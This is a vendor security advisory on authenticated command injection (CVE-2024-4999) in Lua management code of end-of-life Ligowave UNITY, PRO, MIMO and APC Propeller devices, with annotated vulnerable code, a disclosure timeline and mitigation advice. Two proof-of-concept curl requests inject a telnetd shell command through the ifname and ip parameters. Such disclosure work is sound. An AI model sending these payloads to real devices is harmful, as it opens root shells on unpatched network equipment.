Security Advisory: Remote Code Execution in Ligowave Devices


Being busy with the release of our binary zero-day identification feature does not mean our other analysis capabilities are put to sleep. Case in point with these vulnerabilities affecting Lua code within four different product lines from Ligowave. These products are all related to “Wireless Network Backhaul”, ranging from professional 5GHz wireless devices for long range point-to-point connectivity to business access point.

We initially uploaded the APC Propeller firmware to our platform, where multiple command injection issues were reported within Lua code. We then extended our search to other firmwares from Ligowave where the same issues was also identified. These products include Ligowave UNITY, PRO, MIMO, and APC. More recent Ligowave product lines expose the same features but are now using safer options for command execution and therefore are not affected.

Remote Command Execution

Affected vendor & productLigowave UNITY
Ligowave PRO
Ligowave MIMO
Ligowave/APC Propeller
Vendor AdvisoryN/A
Vulnerable versionLigowave UNITY up to version 6.95-2 included
Ligowave PRO up to version 6.95-1.rt3883 included
Ligowave MIMO up to version 6.95-1.rt2880 included
Ligowave/APC Propeller up to version 2-5.95-4.rt3352 included
Fixed versionN/A
CVE IDsCVE-2024-4999
CreditQ. Kaiser, ONEKEY Research Lab
Research supported by Certainity


A vulnerability in the web-based management interface of multiple Ligowave devices could allow an authenticated, remote attacker to execute arbitrary commands.


Successful exploitation of these flaws would allow remote authenticated attackers to gain remote command execution with elevated privileges on the affected devices.


uam_add_internal command injections

The first issue affects uam.lua , specifically the uam_add_internal feature. The ifname request parameter is used to construct multiple command strings that are being executed with os.execute
without prior sanitization.

In the code below, the source and sinks are annotated:

local function get_internal_uam_path(ifname)
    if not ifname then
        return false, 400, "Bad request - 'ifname' missing"
    return "/etc/persistent/chilli/" .. ifname

function uam_add_internal(req, res)
-- snip --
    local dst_dir, status_code, status_msg = get_internal_uam_path(req.POST.ifname) -- NOTE: SOURCE
    os.execute("/bin/rm -rf " .. dst_dir .. "/www") -- NOTE: SINK 1
    os.execute("/bin/mkdir -p " .. dst_dir) -- NOTE: SINK 2
    local unzip_dst = "/tmp/custom_internal"
    os.execute("/bin/rm -rf " .. unzip_dst)
    os.execute("/bin/mkdir -p " .. unzip_dst)
    local cmd = string.format("cd %s && /bin/unzip %s", unzip_dst, zip_file)
    cmd = string.format("cd %s && /bin/mv * %s", unzip_dst, dst_dir .. "/www")
    os.execute(cmd) -- NOTE: SINK 3
    cmd = string.format("cd %s && /bin/chmod a+x `/bin/ls www/* | /bin/egrep chi$\\|sh$` && cd -", dst_dir)
    os.execute(cmd) -- NOTE: SINK 4
    os.execute("/bin/rm -rf " .. unzip_dst)
    return true

This vulnerability can be exploited by sending a request such as the one below:

curl -X POST \
-H 'Content-Type: multipart/form-data' \
-H 'Cookie: token=BJklwmWxHMLkNf15uK8b%2BGBYK3' \
-F 'internal_uam=@/etc/hosts' \
-F 'ifname=$(telnetd -l sh -p 9999)' \

The second set of vulnerabilities affects linktest.lua , specifically the link_test feature. The request parameter ip is used to construct a command string that is being executed with os.execute without prior sanitization.

In the code below, the source and sink are annotated:

function link_test(req, res)
    local log_file = "/tmp/linktest.log"
    local error_code = 0
    local output
    local error_msg
    if req.method == "POST" then
        if req.POST.action == "stop" then
            os.execute("/bin/killall -1 linktest")
            return true
    local cmd = "/bin/pidof linktest"
    output = utils.read_popen(cmd)
    if output ~= '\n' and output ~= '' then
        error_code = -1
    elseif stats.getPeerCount() == 0 then
        error_code = -2
    if req.POST.ip then
        local ip = req.POST.ip -- NOTE: SOURCE
        cmd = string.format("/sbin/linktest -t %s -s %s -a %s > %s 2>&1 &", t, s, ip, log_file) -- NOTE: PROPAGATOR
        cmd = string.format("/sbin/linktest -t %s -s %s > %s 2>&1 &", t, s, log_file)
    os.execute(cmd) -- NOTE: SINK
    os.execute("/bin/sleep 1")

The vulnerability can be exploited by sending a request with curl:

curl 'http://target-ip/cgi-bin/main.cgi/linktest' \
-H 'Cookie: token=BJklwmWxHMLkNf15uK8b%2BGBYK3' \
--data 'pseudo=yes&size=64&sessions=5&ip=$(telnetd -l /bin/sh -p 9999)'

For both curl requests, the token cookie must be adapted of course.


For these products, being EOL, Ligowave will not patch the vulnerability. If replacement of the EOL device is not possible, ensure access to the administration interface is restricted to management networks or administration jump server only, to reduce exposure and thus likelihood of exploitation.

Key Takeaways

As already indicated in our advisory on Delta Electronics industrial routers, ICS devices such as point-to-point wireless connectivity antennas, panels, and bridges are usually installed for long term deployments that, sadly, usually exceed the manufacturer device support lifespan (an issue that will be addressed by the upcoming EU Cyber Resilience Act). With our automated firmware security analysis capabilities, we not only demonstrate how manufacturers can maximize return of PSIRT efforts and run effective vulnerability discovery and management programs, but it also provides ICS device operators the tools required to perform meaningful supply-chain risk assessment.

If you want to test your devices, feel free to reach out to us.


  • 2024-02-05 –Initial contact attempt through email and webform.
  • 2024-02-06 – Ligowave support indicates the device is no longer supported.
  • 2024-02-13 – Ligowave requests the report by email.
  • 2024-02-13 – Back and forth on affected devices.
  • 2024-03-12 –Support case marked as resolved by Ligowave.
  • 2024-05-05 –90 days disclosure deadline.
  • 2024-05-16 –Release ONEKEY advisory.


ONEKEY is the leading European specialist in Product Cybersecurity & Compliance Management and part of the investment portfolio of PricewaterhouseCoopers Germany (PwC). The unique combination of an automated Product Cybersecurity & Compliance Platform (PCCP) with expert knowledge and consulting services provides fast and comprehensive analysis, support, and management to improve product cybersecurity and compliance from product purchasing, design, development, production to end-of-life.

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Leading international companies in Asia, Europe and the Americas already benefit from the ONEKEY Product Cybersecurity & Compliance Platform and ONEKEY Cybersecurity Experts.



Sara Fortmann

Marketing Manager


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+49 611 973 150